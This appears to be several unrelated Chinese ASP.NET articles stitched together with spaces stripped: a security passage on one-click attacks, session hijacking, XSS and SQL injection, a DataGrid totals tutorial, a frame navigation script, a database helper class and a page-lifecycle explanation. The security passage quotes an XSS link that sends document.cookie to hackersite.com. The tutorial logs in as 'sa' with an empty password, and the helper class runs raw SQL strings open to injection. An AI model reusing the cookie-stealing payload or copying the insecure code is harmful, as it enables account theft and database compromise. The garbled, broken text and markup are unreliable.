一次单击攻击要想得手,黑客必须能够访问该页。此时,有远见的黑客会在本地保存该页。这样,他/她就可以访问_VIEWSTATE域并使用该域,用旧的视图状态和其他域中的恶意值创建请求。问题是,这能行吗? 为什么不能?如果攻击者可以提供有效的身份验证cookie,黑客就可以进入,请求将被照常处理。服务器上根本不会检查视图状态内容(当EnableViewStataMac为off时),或者只会检查是否被篡改过。默认情况下,试图状态中没有机制可以将该内容与特定的用户关联起来。攻击者可以轻松地重用所获取的视图状态,冒充另一个用户合法地访问该页,以生成虚假请求。这正是ViewStateUserKey介入的地方。 如果选择准确,该属性可以将用户特定的信息添加到视图状态。处理请求时,ASP.NET会从视图状态中提取秘钥,并将其与正在运行的页的ViewStateUserKey进行比较。如果两者匹配,请求将被认为是合法的;否则将引发异常。对于该属性,什么值是有效的? 为所有用户将ViewStateUserKey设置为常量字符串,相当于将它保留为空。您必须将它设置为对各个用户都不同的值—用户ID,会话ID更好些。由于一些技术和社会原因,会话ID更为合适,因为会话ID不可预测,会超时失效,并且对于每个用户都是不同的。 以下是一些在您的所有页中都必不可少的代码:voidPage_Init(objectsender,EventArgse){ViewStateUserKey=Session.SessionID;:} 为了避免重复编写这些代码,您可以将它们固定在从Page派生的类的OnInit虚拟方法中。(请注意,您必须在Page.Init事件中设置此属性。)protectedoverrideOnInit(EventArgse){base.OnInit(e);ViewStateUserKey=Session.SessionID;} 总体说来,使用基page类始终都不失为一件好事,我在BuildYourASP.NETPagesonaRicherBedrock一文中已经进行了说明。如果您要了解更多有关一次单击攻击者的伎俩的信息,可以在aspnetpro.com找到一篇非常好的文章。 会话劫持 Cookie还被用于检索特定用户的会话状态。会话的ID被存储到cookie中,该cookie与请求一起来回传送,存储在浏览器的计算机上。同样,如果失窃,会话cookie将可被用来使黑客进入系统并访问别人的会话状态。不用说,只要指定的会话处于活动状态(通常不超20分钟),这就有可能发生。通过冒充的会话状态发起的攻击称为会话劫持。有关会话劫持的详细信息,请阅读TheftOnTheWeb:PreventSessionHijacking。 这种攻击有多危险?很难讲。这要取决于Web站点的功能,更为重要的是,该站点的页是如何设计的。例如,假定您能够获得别人的会话cookie,并将它附加到对站点上某个页的请求中。您加载该页并逐步研究它的普通用户界面。除了该页使用另一个用户的会话状态工作外,您无法将任何代码注入该页,也无法修改该页中的任何内容。这本身并不太坏,但是如果该会话中的信息是敏感和关键性的,就有可能直接导致黑客成功实现利用。黑客无法渗透到会话存储的内容中,但他可以使用其中存储的信息,就像自己是合法进入的一样。例如,假定有这样一个电子商务应用程序,它的用户在浏览站点时将物品添加到购物车中。 方案1。购物车的内容存储在会话状态中。但是,在结帐时,用户被要求通过安全的SSL连接确认和输入付款详细信息。这种情况下,通过接入其他用户的会话状态,黑客仅可以了解到一些有关受害者的购物喜好的细节。在这种环境下劫持实际上并不会导致任何损害。受威胁的只是保密性。 方案2。应用程序为每位注册用户处理一份档案,并将档案保存在会话状态中。糟糕的是,档案中(可能)包括信用卡信息。为什么要将用户档案详细信息存储到会话中?可能应用程序的其中一个目标是,从根本上避免使用户不得不重复键入自己的信用卡和银行信息。因此,在结算时,应用程序会将用户定位到一个具有预先填充的域的页。而有失谨慎的是,这些域的其中一个是从会话状态中获取的信用卡号。现在您可以猜到故事的结局了吗? 应用程序的页的设计,是防止会话劫持攻击的关键所在。当然,还有两点没有理清。第一点是,如何防止cookie盗窃?第二点是,ASP.NET可以如何检测和阻止劫持? ASP.NET会话cookie极其简单,仅限于包含会话ID字符串本身。ASP.NET运行库从cookie中提取会话ID,并将其与活动的会话进行比较。如果ID有效,ASP.NET将连接到对应的会话并继续。这种行为极大地方便了已经偷到或者可以猜出有效的会话ID的黑客。 XSS和中间人(man-in-the-middle)攻击以及对客户端PC的强力访问,都是获取有效cookie的方法。为了防止盗窃,您应当实现安全最佳实践来防止XSS及其各变种得手。 而为了防止会话ID猜测,您应当干脆避免太高估计自己的技能。猜测会话ID意味着您知道如何预测有效的会话ID字符串。对于ASP.NET所使用的算法(15个随机数字,映射为启用URL的字符),随机猜测到有效ID的概率接近于零。我想不到任何理由来用自己的会话ID生成器替换默认的会话ID生成器。许多情况下,这么做只会为攻击者提供方便。 会话劫持更为糟糕的后果是一旦cookie被盗或者被猜出,ASP.NET并没有什么办法来检测欺诈性的cookie使用。同样,原因是ASP.NET将自己限制为检查ID的有效性,以及cookie的来源地。 我在Wintellect的朋友JeffProsise为MSDNMagazine写了一篇很好的关于会话劫持的文章。他的结论并不令人安慰:几乎不可能建立能够完全抵御依靠偷来的会话IDCookie所发起的攻击的防御工事。但是他开发的代码为进一步提升安全标准提供了非常明智的建议。Jeff创建了一个HTTP模块,该模块为会话IDCookie监视传入的请求和传出的响应。该模块将一条哈希代码附加到会话ID之后,使攻击者重用cookie更为困难。您可以在此处阅读详情。 图2.启用EnableViewStateMac时,使视图状态本身难以篡改的因素 启用了MAC检查时(默认情况),将对序列化的视图状态附加一个哈希值,该值是使用某些服务器端值和视图状态用户秘钥(如果有)生成的。回发视图状态时,将使用新的服务器端值重新计算该哈希值,并将其与存储的值进行比较。如果两者匹配,则允许请求;否则将引发异常。即使假设黑客具有破解和重新生成视图状态的能力,他/她仍需要知道服务器存储的值才可以得出有效的哈希。具体说来,该黑客需要知道machine.config的<machineKey>项中引用的计算机秘钥。 默认情况下,项是自动生成的,以物理方式存储在WindowsLocalSecurityAuthority(LSA)中。仅在Web场(此时视图状态的计算机秘钥必须在所有的计算机上都相同)的情形下,您才应当在machine.config文件中将其指定为明文。 视图状态MAC检查是通过一个名为EnableViewStateMac的@Page指令属性控制的。如前所述,默认情况下,它被设置为true。请永远不要禁用它;否则将会使视图状态篡改一次单击攻击成为可能,并具有很高的成功概率。Cross-siteScriptingOverview中详细阅读有关XSS攻击的基础知识。 代码中的哪些漏洞导致XSS攻击成为可能? XSS利用的是动态生成HTML页、但并不验证回显到页的输入的Web应用程序。这里的输入是指查询字符串、Cookie和表单域的内容。如果这些内容在未经适当性能检查的情况下出现在网络上,就存在黑客对其进行操作以在客户端浏览器中执行恶意脚本的风险。(前面提到的一次单击攻击其实是XSS的一种新近变种。)典型的XSS攻击会导致不抱怀疑的用户点击一条诱惑性链接,而该链接中嵌入了转义的脚本代码。欺诈代码将被发送到一个存在漏洞且会毫不怀疑地输出它的页。以下是可能发生的情况的一个示例: <ahref="http://www.vulnerableserver.com/brokenpage.aspx?Name=<script>document.location.replace('http://www.hackersite.com/HackerPage.aspx?Cookie='+document.cookie);</script>">Clicktoclaimyourprize</a> 用户单击一个看上去明显安全的链接,最终导致将一些脚本代码传递到存在漏洞的页,这些代码首先获取用户计算机上的所有Cookie,然后将它们发送到黑客的Web站点。 请务必注意,XSS不是一个特定于供应商的问题,因此并不一定会利用InternetExplorer中的漏洞。它影响目前市场上的所有Web服务器和浏览器。更应注意的是,没有哪一个修补程序能够修复这一问题。您完全可以保护自己的页免受XSS攻击,方法是应用特定的措施和合理的编码实践。此外,请注意,攻击者并不需要用户单击链接就可以发起攻击。 要防御XSS,您必须从根本上确定哪些输入是有效的,然后拒绝所有其他输入。您可以在一本书中读到抵御XSS攻击的详细检查表,该书在Microsoft属于必读范围—WritingSecureCode,作者是MichaelHoward和DavidLeBlanc。特别地,我建议您仔细阅读第13章。 阻止阴险的XSS攻击的主要方法是向您的输入(任何类型的输入数据)添加一个设计合理、有效的验证层。例如,某些情况下即使是原本无害的颜色(RGB三色)也会将不受控制的脚本直接带入页中。 在ASP.NET1.1中,@Page指令上的ValidateRequest属性被打开后,将检查以确定用户没有在查询字符串、Cookie或表单域中发送有潜在危险性的HTML标记。如果检测到这种情况,将引发异常并中止该请求。该属性默认情况下是打开的;您无需进行任何操作就可以得到保护。如果您想允许HTML标记通过,必须主动禁用该属性。<%@PageValidateRequest="false"%> ValidateRequest不是万能的药方,无法替代有效的验证层。请阅读此处以获取大量有关该功能的基础原理的宝贵信息。它基本上通过应用一个正则表达式来捕获一些可能有害的序列。 注ValidateRequest功能原本是有缺陷的,因此您需要应用一个修补程序它才能按预期工作。这样的重要信息常常不为人们所注意。奇怪的是,我发现我的其中一台计算机仍受该缺陷的影响。试试看! 没有任何关闭ValidateRequest的理由。您可以禁用它,但必须有非常好的理由;其中一条这样的理由可能是用户需要能够将某些HTML张贴到站点,以便得到更好的格式设置选项。这种情况下,您应当限制所允许的HTML标记(<pre>、<b>、<i>、<p>、<br>、<hr>)的数目,并编写一个正则表达式,以确保不会允许或接受任何其他内容。 以下是一些有助于防止ASP.NET遭受XSS攻击的其他提示: 使用HttpUtility.HtmlEncode将危险的符号转换为它们的HTML表示形式。 使用双引号而不是单引号,这是因为HTML编码仅转义双引号。 强制一个代码页以限制可以使用的字符数。 总之,使用但是不要完全信任ValidateRequest属性,不要太过懒惰。花些时间,从根本上理解XSS这样的安全威胁,并规划以一个关键点为中心的防御策略:所有的用户输入都是危险的。 此处了解更多有关SQL注入的信息。 要阻止SQL注入攻击,有许多方法。以下介绍最常见的技巧。 确保用户输入属于适当的类型,并遵循预期的模式(邮政编码、身份证号,电子邮件等)。如果预期来自文本框的数字,请在用户输入无法转换为数字的内容时阻止该请求。 使用参数化的查询,使用存储过程更好。 使用SQLServer权限来限制各个用户可以对数据库执行的操作。例如,您可能需要禁用xp_cmdshell或者将该操作的权限仅限于管理员。 如果使用存储过程,可以显著降低发生这种攻击的可能性。实际上,有了存储过程,您就无需动态地撰写SQL字符串。此外,SQLServer中将验证所有参数是否具有指定的类型。虽然光是这些并不是百分百安全的技巧,但是加上验证的话,将足以提高安全性。 更为重要的是,应确保只有经过授权的用户才能够执行可能具有严重后果的操作,如删除表。这要求认真仔细地设计应用程序的中间层。好的技巧(不光是为了安全性)应把焦点集中在角色上。应当将用户分组为各种角色,并为各个角色定义一个包含一组最少的权限的帐户。 几周前,WintellectWeb站点受到一种很复杂的SQL注入的攻击。那位黑客试图创建并启动一个FTP脚本来下载一个可能是恶意的可执行程序。幸运的是,这次攻击失败了。或者,其实是强用户验证,使用存储过程和使用SQLServer权限,导致了攻击未能成功? 总而言之,您应当遵循这些指南,以避免被注入有害的SQL代码: 使用尽可能少的权限运行,永远不以“sa”身份执行代码。 将访问限制给内置的存储过程。 首选使用SQL参数化查询。 不通过字符串串连来生成语句,不回显数据库错误。DotNet2TheMaxWeb站点获得该组件的全部源代码。 ="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">
论坛中最常见的一个问题是:“我怎样在DataGrid中显示列合计?”。我亲自多次为这个问题提供了示例代码,因此,我想在DotNetJunkies的标题中提供这么一份指南。在这份指南中你将会学到怎样在DataGrid中编程实现对某一列的值进行统计,并在DataGrid的页脚中显示其合计值。这份指南中供下载的示例中包括了C#和VisualBasic.NET两种代码。 这份指南的最终结果看起来像这样: 从上图可看出: 上面所用到的屏幕图片中的DataGrid是一个非常典型的DataGrid。有许多控制DataGrid外观的属性,它使用两个BoundColumns来操作数据,但这并不是最重要的。做好这项工作真正重要的是使用DataGrid.OnItemDataBound事件。这个事件将会触发每次绑定一条记录到DataGrid。你可以为这个事件创建一个事件处理,以操作数据记录。在这种情况下,你将会得到运行时Price列的合计值。 页脚指的是数据范围的最后一行。当这行被限定时,在事件句处理你可以得到Price列的运行时统计值。 实施: 首先让我们找到一种方法来操作Web窗体输出。这份指南中,你将使用一个Web窗体(calcTotals.aspx)以及一个类代码文件(calcTotals.aspx.cs)。这份指南的意图是,类代码将会使用Just-In-Time编译器来编译。这里是calcTotals.aspx的代码: <?XML:NAMESPACEPREFIX =ASP /><?XML:NAMESPACE PREFIX = ASP />AutoGenerateColumns="False"CellPadding="4"CellSpacing="0"BorderStyle="Solid"BorderWidth="1"Gridlines="None"BorderColor="Black"ItemStyle-Font-Name="Verdana"ItemStyle-Font-Size="9pt"HeaderStyle-Font-Name="Verdana"HeaderStyle-Font-Size="10pt"HeaderStyle-Font-Bold="True"HeaderStyle-ForeColor="White"HeaderStyle-BackColor="Blue"FooterStyle-Font-Name="Verdana"FooterStyle-Font-Size="10pt"FooterStyle-Font-Bold="True"FooterStyle-ForeColor="White"FooterStyle-BackColor="Blue"OnItemDataBound="MyDataGrid_ItemDataBound"ShowFooter="True">="TITLE"HEADERTEXT="TITLE">ItemStyle-HorizontalAlign="Right"HeaderStyle-HorizontalAlign="Center"/>=MYGRID 在Web窗体中你使用@Page来直接声明这个页所继承的类代码。SRC属性指明了类代码将使用JIT编译器来编译。Web窗体中的大部分代码样式声明用来使DataGrid外观变得更好看。 最后指定的属性之一是OnItemDataBound属性。这个事件将会在OnItemDataBound事件发生时被触发。 Web窗体中的DataGrid(MyGrid)包含有两个BoundColumns,一个是Title,另一个是Price。这里将显示Pubs数据库(SQLServer)中Titles表的title及price列。 忽略代码的定义 类代码在所有的地方都将使用。在类代码中,你可以操作两个事件:Page_Load事件以及MyGrid_OnItemDataBound事件。还有一个私有方法CalcTotal,用它来简单的完成运行时统计的数学运算。 类代码基本结构块的起始部分: usingSystem;usingSystem.Web;usingSystem.Web.UI;usingSystem.Web.UI.WebControls;usingSystem.Web.UI.HtmlControls;usingSystem.Data;usingSystem.Data.SqlClient; namespacemyApp{ publicclasscalcTotals:Page {protectedDataGridMyGrid;privatedoublerunningTotal=0; }} 在类代码的基本结构中,你必须使用相关语句导入名字空间(namespace)。在类声明中,你声明了两个变量,一个是类代码中映射Web窗体的DataGrid(MyGrid)控件的变量;一个是用来操作DataGrid的Price列中运行时统计的双精度值。 Page_Load事件 在Page_Load事件中,你所要做的就是连接到SQLServer并执行一个简单的SqlCommand。你取得了所有Price值>0的title和price数据。你使用SqlCommand.ExecuteReader方法返回一个SqlDataReader并将其直接绑定到DataGrid(MyGrid)。 protectedvoidPage_Load(objectsender,EventArgse){ SqlConnectionmyConnection=newSqlConnection("server=Localhost;database=pubs;uid=sa;pwd=;");//创建SQL连接 SqlCommandmyCommand=newSqlCommand("SELECTtitle,priceFROMTitlesWHEREprice>0",myConnection);//创建SQL命令 try {myConnection.Open();//打开数据库连接MyGrid.DataSource=myCommand.ExecuteReader();//指定DataGrid的数据源MyGrid.DataBind();//绑定数据到DataGridmyConnection.Close();//关闭数据连接 } catch(Exceptionex) {//捕获错误HttpContext.Current.Response.Write(ex.ToString()); }} CalcTotals方法 CalcTotals方法用来处理runningTotal变量。这个值将以字符串形式来传递。你需要将它解析为双精度型,然后runningTotal变量就成了双精度类型。 privatevoidCalcTotal(string_price){ try {runningTotal+=Double.Parse(_price); } catch {//捕获错误 }} MyGrid_ItemDataBound事件 MyGrid_ItemDataBound事件在数据源中每行绑定到DataGrid时被调用。在这个事件处理中,你可以处理每一行数据。这里你的目的是,你将需要调用CalcTotals方法并从Price列传递文本,并用金额型格式化每一行的Price列,并在页脚行中显示runningTotal的值。 publicvoidMyDataGrid_ItemDataBound(objectsender,DataGridItemEventArgse){ if(e.Item.ItemType==ListItemType.Item||e.Item.ItemType==ListItemType.AlternatingItem) {CalcTotal(e.Item.Cells[1].Text);e.Item.Cells[1].Text=string.Format("{0:c}",Convert.ToDouble(e.Item.Cells[1].Text)); } elseif(e.Item.ItemType==ListItemType.Footer) {e.Item.Cells[0].Text="Total";e.Item.Cells[1].Text=string.Format("{0:c}",runningTotal); }}在MyGrid_ItemDataBound事件句柄中,首先你得使用ListItemType判断当前的DataGridItem是一个数据项还是AlternatingItem行。如果是数据项,你调用CalcTotals,并将Price列的值作为参数传递给它;然后你以金额格式对Price列进行格式化及着色。 如果DataGridItem是页脚,可以用金额格式显示runningTotal。 总结 在这份指南中,你学到了怎样使用DataGrid.OnItemDataBound事件来实现运行时对DataGrid的某一列进行统计。使用这个事件,你可以创建一个列的合计并可对DataGrid行的页脚进行着色。
我们在CSDN论坛上的左上角能够看到导航栏的功能,下面就模拟该功能,利用JS在asp.net中作一个简单的无刷新的左导航栏隐藏功能. 首先,作一个框架页,我们取名main.aspx <!--main.aspx主要代码--><script>document.write("<framesetrows='54,28,*,19'frameborder='NO'border='0'framespacing='0'>");document.write("<framesrc='title.aspx'name='topFrame'scrolling='NO'noresize>");document.write("<framesrc='bar.aspx'name='MainNaviFrame'scrolling='NO'>");<!--left.aspx是导航页,menuswitch.aspx是交互的按钮页-->document.write("<framesetname='forum'cols='150,8,*'frameborder='NO'border='0'framespacing='0'>");document.write("<framesrc='left.aspx'name='LeftFrame'scrolling='auto'>");document.write("<framesrc='menuswitch.aspx'name='SwichFrame'scrolling='No'>");document.write("<framesetrows='100%,*'frameborder='NO'border='0'framespacing='0'>");document.write("<framesrc=''name='MainFrame'scrolling='no'>");document.write("</frameset></frameset>");document.write("<framesrc='bottom.aspx'name='BottomFrame'scrolling='No'></frameset>");</script><!--menuswitch.js主要代码-->varleftwin=true;functionchangeWin(){if(leftwin==true){parent.forum.cols="0,8,*";parent.SwichFrame.menuSwitch.innerHTML="<aonclick='changeWin();'style='cursor:hand;'><imgsrc='images/ArrowOpen.gif'border='0'></a>";leftwin=false;}else{parent.forum.cols="150,8,*";parent.SwichFrame.menuSwitch.innerHTML="<aonclick='changeWin();'style='cursor:hand;'><imgsrc='images/ArrowClose.gif'border='0'></a>";leftwin=true;}}<!--menuswitch.aspx主要代码--><tableheight="100%"cellSpacing="0"cellPadding="0"width="8"background="images/MiddleBg1.gif"border="0"><tr><tdonclick="changeWin();"style="cursor:hand;"id="menuSwitch"align="center"><imgid="Image1"src="images/ArrowClose.gif"border="0"/></td></tr></table> 以上功能并不完善,只能起到抛砖引玉的作用,欢迎网友与我交流.
usingSystem;usingSystem.Configuration;usingSystem.Data;usingSystem.Data.SqlClient;usingSystem.Collections;namespaceMyCorporation.DepartMent.DataBase{///<summary>///通用数据库类///</summary>publicclassDataBase{privatestringConnStr=null;publicDataBase(){ConnStr=ConfigurationSettings.AppSettings["ConnStr"];}publicDataBase(stringStr){try{this.ConnStr=Str;}catch(Exceptionex){throwex;}}///<summary>///返回connection对象///</summary>///<returns></returns>publicSqlConnectionReturnConn(){SqlConnectionConn=newSqlConnection(ConnStr);Conn.Open();returnConn;}publicvoidDispose(SqlConnectionConn){if(Conn!=null){Conn.Close();Conn.Dispose();}GC.Collect();}///<summary>///运行SQL语句///</summary>///<paramname="SQL"></param>publicvoidRunProc(stringSQL){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlCommandCmd;Cmd=CreateCmd(SQL,Conn);try{Cmd.ExecuteNonQuery();}catch{thrownewException(SQL);}Dispose(Conn);return;}///<summary>///运行SQL语句返回DataReader///</summary>///<paramname="SQL"></param>///<returns>SqlDataReader对象.</returns>publicSqlDataReaderRunProcGetReader(stringSQL){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlCommandCmd;Cmd=CreateCmd(SQL,Conn);SqlDataReaderDr;try{Dr=Cmd.ExecuteReader(CommandBehavior.Default);}catch{thrownewException(SQL);}//Dispose(Conn);returnDr;}///<summary>///生成Command对象///</summary>///<paramname="SQL"></param>///<paramname="Conn"></param>///<returns></returns>publicSqlCommandCreateCmd(stringSQL,SqlConnectionConn){SqlCommandCmd;Cmd=newSqlCommand(SQL,Conn);returnCmd;}///<summary>///生成Command对象///</summary>///<paramname="SQL"></param>///<returns></returns>publicSqlCommandCreateCmd(stringSQL){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlCommandCmd;Cmd=newSqlCommand(SQL,Conn);returnCmd;}///<summary>///返回adapter对象///</summary>///<paramname="SQL"></param>///<paramname="Conn"></param>///<returns></returns>publicSqlDataAdapterCreateDa(stringSQL){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlDataAdapterDa;Da=newSqlDataAdapter(SQL,Conn);returnDa;}///<summary>///运行SQL语句,返回DataSet对象///</summary>///<paramname="procName">SQL语句</param>///<paramname="prams">DataSet对象</param>publicDataSetRunProc(stringSQL,DataSetDs){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlDataAdapterDa;//Da=CreateDa(SQL,Conn);Da=newSqlDataAdapter(SQL,Conn);try{Da.Fill(Ds);}catch(ExceptionErr){throwErr;}Dispose(Conn);returnDs;}///<summary>///运行SQL语句,返回DataSet对象///</summary>///<paramname="procName">SQL语句</param>///<paramname="prams">DataSet对象</param>///<paramname="dataReader">表名</param>publicDataSetRunProc(stringSQL,DataSetDs,stringtablename){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlDataAdapterDa;Da=CreateDa(SQL);try{Da.Fill(Ds,tablename);}catch(ExceptionEx){throwEx;}Dispose(Conn);returnDs;}///<summary>///运行SQL语句,返回DataSet对象///</summary>///<paramname="procName">SQL语句</param>///<paramname="prams">DataSet对象</param>///<paramname="dataReader">表名</param>publicDataSetRunProc(stringSQL,DataSetDs,intStartIndex,intPageSize,stringtablename){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlDataAdapterDa;Da=CreateDa(SQL);try{Da.Fill(Ds,StartIndex,PageSize,tablename);}catch(ExceptionEx){throwEx;}Dispose(Conn);returnDs;}///<summary>///检验是否存在数据///</summary>///<returns></returns>publicboolExistDate(stringSQL){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlDataReaderDr;Dr=CreateCmd(SQL,Conn).ExecuteReader();if(Dr.Read()){Dispose(Conn);returntrue;}else{Dispose(Conn);returnfalse;}}///<summary>///返回SQL语句执行结果的第一行第一列///</summary>///<returns>字符串</returns>publicstringReturnValue(stringSQL){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();stringresult;SqlDataReaderDr;try{Dr=CreateCmd(SQL,Conn).ExecuteReader();if(Dr.Read()){result=Dr[0].ToString();Dr.Close();}else{result="";Dr.Close();}}catch{thrownewException(SQL);}Dispose(Conn);returnresult;}///<summary>///返回SQL语句第一列,第ColumnI列,///</summary>///<returns>字符串</returns>publicstringReturnValue(stringSQL,intColumnI){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();stringresult;SqlDataReaderDr;try{Dr=CreateCmd(SQL,Conn).ExecuteReader();}catch{thrownewException(SQL);}if(Dr.Read()){result=Dr[ColumnI].ToString();}else{result="";}Dr.Close();Dispose(Conn);returnresult;}///<summary>///生成一个存储过程使用的sqlcommand.///</summary>///<paramname="procName">存储过程名.</param>///<paramname="prams">存储过程入参数组.</param>///<returns>sqlcommand对象.</returns>publicSqlCommandCreateCmd(stringprocName,SqlParameter[]prams){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlCommandCmd=newSqlCommand(procName,Conn);Cmd.CommandType=CommandType.StoredProcedure;if(prams!=null){foreach(SqlParameterparameterinprams){if(parameter!=null){Cmd.Parameters.Add(parameter);}}}returnCmd;}///<summary>///为存储过程生成一个SqlCommand对象///</summary>///<paramname="procName">存储过程名</param>///<paramname="prams">存储过程参数</param>///<returns>SqlCommand对象</returns>privateSqlCommandCreateCmd(stringprocName,SqlParameter[]prams,SqlDataReaderDr){SqlConnectionConn;Conn=newSqlConnection(ConnStr);Conn.Open();SqlCommandCmd=newSqlCommand(procName,Conn);Cmd.CommandType=CommandType.StoredProcedure;if(prams!=null){foreach(SqlParameterparameterinprams)Cmd.Parameters.Add(parameter);}Cmd.Parameters.Add(newSqlParameter("ReturnValue",SqlDbType.Int,4,ParameterDirection.ReturnValue,false,0,0,string.Empty,DataRowVersion.Default,null));returnCmd;}///<summary>///运行存储过程,返回.///</summary>///<paramname="procName">存储过程名</param>///<paramname="prams">存储过程参数</param>///<paramname="dataReader">SqlDataReader对象</param>publicvoidRunProc(stringprocName,SqlParameter[]prams,SqlDataReaderDr){SqlCommandCmd=CreateCmd(procName,prams,Dr);Dr=Cmd.ExecuteReader(System.Data.CommandBehavior.CloseConnection);return;}///<summary>///运行存储过程,返回.///</summary>///<paramname="procName">存储过程名</param>///<paramname="prams">存储过程参数</param>publicstringRunProc(stringprocName,SqlParameter[]prams){SqlDataReaderDr;SqlCommandCmd=CreateCmd(procName,prams);Dr=Cmd.ExecuteReader(System.Data.CommandBehavior.CloseConnection);if(Dr.Read()){returnDr.GetValue(0).ToString();}else{return"";}}///<summary>///运行存储过程,返回dataset.///</summary>///<paramname="procName">存储过程名.</param>///<paramname="prams">存储过程入参数组.</param>///<returns>dataset对象.</returns>publicDataSetRunProc(stringprocName,SqlParameter[]prams,DataSetDs){SqlCommandCmd=CreateCmd(procName,prams);SqlDataAdapterDa=newSqlDataAdapter(Cmd);try{Da.Fill(Ds);}catch(ExceptionEx){throwEx;}returnDs;}}}
一、服务器脚本基础介绍 首先,我们先复习一下Web服务器页面的基本执行方式: 1、客户端通过在浏览器的地址栏敲入地址来发送请求到服务器端 2、服务器接收到请求之后,发给相应的服务器端页面(也就是脚本)来执行,脚本产生客户端的响应,发送回客户端 3、客户端浏览器接收到服务器传回的响应,对Html进行解析,将图形化的网页呈现在用户面前 对于服务器和客户端的交互,通常通过下面几种主要方式: 1、Form:这是最主要的方式,标准化的控件来获取用户的输入,Form的提交将数据发送给服务器端处理 2、QueryString:通过在Url后面带参数达到将参数传送给服务器,这种方式其实跟Get方式的Form是一样的 3、Cookies:这是一种比较特殊的方式,通常用于用户身份的确认 二、ASP.Net简介 传统的服务器脚本语言,如ASP、JSP等,编写服务器脚本的方式大同小异,都是在Html中嵌入解释或编译执行的代码,由服务器平台执行这些代码来生成Html;对于这类似的脚本,页面的生存周期实际上很简单,就是从开头至末尾,执行完所有的代码,当然用Java编写的Servlet可以编写更复杂的代码,但是从结构上看,和JSP没什么区别。 ASP.Net的出现,打破了这种传统;ASP.Net采用了CodeBehind技术和服务器端控件,加入了服务器端的事件的概念,改变了脚本语言编写的模式,更加贴近Window编程,使Web编程更加简单、直观;但是我们要看到,ASP.Net本身并没有改变Web编程的基本模式,只是封装了一些细节、提供了一些易用的功能,使代码更容易编写和维护;从某种程度上来说,将服务器端执行的方式复杂化了,这就是我们今天要讨论的主体:ASP.NetWebPage的生存周期。 三、ASP.Net请求处理模式 我们说,ASP.Net的WebPage并没有脱离Web编程的模式,所以它仍然是以请求->接收请求->处理请求->发送响应这样的模式在工作,每一次与客户端的交互都会引发一次新的请求,所以一个WebPage的生命周期是以一次请求为基础的。 当IIS收到客户端的请求的时候,会将请求交给aspnet_wp这个进程来处理,这个进程会查看请求的应用程序域是否存在,如果不存在则会创建一个,然后会创建一个Http运行时(HttpRuntime)来处理请求,这个运行时“为当前应用程序提供一组ASP.NET运行时服务”(摘自MSDN)。 HttpRuntime在处理请求的时候,会维护一系列的应用程序实例,也就是应用程序的Global类(global.asax)的实例,这些实例在没有请求的时候,会存放在一个应用程序池中(实际上应用程序池由另一个类来维护,HttpRuntime只是简单的调用),每接收到一个请求,HttpRuntime都会获取一个闲置的实例来处理请求,这个实例在请求结束前不会处理其他的请求,处理完毕之后,它又会回到池中,“一个实例在其生存期内被用于处理多个请求,但它一次只能处理一个请求。”(摘自MSDN) 当应用程序实例处理请求的时候,它会创建请求页面类的实例,执行它的ProcessRequest方法来处理请求,这个方法也就是WebPage生命周期的开始。 四、Aspx页面与CodeBehind 在深入了解页面的生命周期之前,我们先来探讨一些Aspx与CodeBehind之间的关系。 <%@Pagelanguage="c#"Codebehind="WebForm.aspx.cs"Inherits="MyNamespace.WebForm"%> 相信使用过CodeBehind技术的朋友,对ASPX顶部的这句话应该是非常熟悉了,我们来一项一项的分析它: Pagelanguage="c#"这个就不用多说了吧 Codebehind="WebForm.aspx.cs"这一句表示绑定的代码文件 Inherits="MyNamespace.WebForm"这句非常重要,它表示页面继承的类名称,也就是CodeBehind的代码文件中的类,这个类必须从System.Web.WebControls.Page派生 从上面我们可以分析出,实际上CodeBehind中的类就是页面(ASPX)的基类,到这里,可能有些朋友要问了,在编写ASPX的时候,完全是按照ASP的方式,在Html中嵌入代码或者嵌入服务器控件,没有看到所谓“类”的影子啊? 这个问题实际上并不复杂,各位使用ASP.Net编程的朋友可以到你们的系统盘:/WINDOWS/Microsoft.NET/Framework/<版本号>/TemporaryASP.NETFiles这个目录下,这个下面就放了所有本机上存在的ASP.Net应用程序的临时文件,子目录的名称就是应用程序的名称,然后再下去两层(为了保证唯一,ASP.Net自动产生了两层子目录,并且子目录名称是随机的),然后我们会发现有很多类似:“yfy1gjhc.dll”、“xeunj5u3.dll”这样的链接库以及“komee-bp.0.cs”、“9falckav.0.cs”这样的源文件,实际上这就是ASPX被ASP.Net动态编译后的结果,打开这些源文件我们可以发现: publicclassWebForm_aspx:MyNamespace.WebForm,System.Web.SessionState.IRequiresSessionState 这就印证了我们前面的说法,ASPX是代码绑定类的子类,它的名称是ASPX文件名加上“_aspx”后缀,通过研究这些代码我们可以发现,实际上所有aspx中定义的服务器控件都是在这些代码中生成的,然后动态产生这些代码的时候,把原来在ASPX中嵌入的代码写在了相应的位置。 当某个页面第一次被访问的时候,Http运行时就会使用一个代码生成器去解析ASPX文件并生成源代码并编译,然后以后的访问就直接调用编译后的dll,这也是为什么ASPX第一次访问的时候非常慢的原因。 解释了这个问题,我们再来看另一个问题。我们在使用代码绑定的时候,在设计页面拖一个控件,然后切换到代码视图,就可以直接在Page_Load中使用这个控件了,既然控件是在子类中产生的,那为什么在父类中可以直接使用呢? 实际上我们可以发现,每当用VS.Net拖一个控件到页面上,代码绑定文件中总是会类似这样的添加一个声明: protectedSystem.Web.WebControls.ButtonButton1; 